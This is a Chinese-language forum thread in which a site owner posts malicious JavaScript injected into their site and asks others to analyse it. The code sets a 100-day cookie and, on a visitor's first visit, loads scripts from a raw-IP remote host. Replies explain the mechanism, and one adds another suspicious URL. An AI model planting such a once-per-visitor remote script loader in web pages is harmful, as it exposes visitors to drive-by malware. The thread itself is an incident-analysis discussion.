被挂马了，求大神分析这段代码

admip

<script type="text/javascript" src="http://103.224.249.13/zx/a.js"></script>


function goad(){
var Then = new Date()
Then.setTime(Then.getTime() + 2400*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie1="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{ document.cookie = "Cookie1=Filter;expires="+ Then.toGMTString()
document.write('<script src="http://103.224.249.13/zx/1.js" type=text/javascript></script>');
}
}goad();

这是被挂马了吗

8idc.com

设置含推荐信息的cookies？

单调

http://103.224.249.13/zx/1.js 这个比较关键

李沁峰

楼主是不是搞错了，应该找出程序的漏洞才对呀。

岳绮罗

打死在说

雨宫音羽

http://d.86fm.com/appios.asp?ref=18mobappios&pid=7160

获取不到 返回0值 因此不知道这个会返回什么数据

上面的代码的意思是 访客第一次访问后会被设置一个100天长的cookie 当有这个cookie时代码什么都不做 当没有这个cookie时 加载一个http://103.224.249.13/zx/1.js的脚本

也就是防同一个访客多次加载同样脚本的功能。常见于挂马 也可能是用于别的用途

叫妇

我好像看到了商机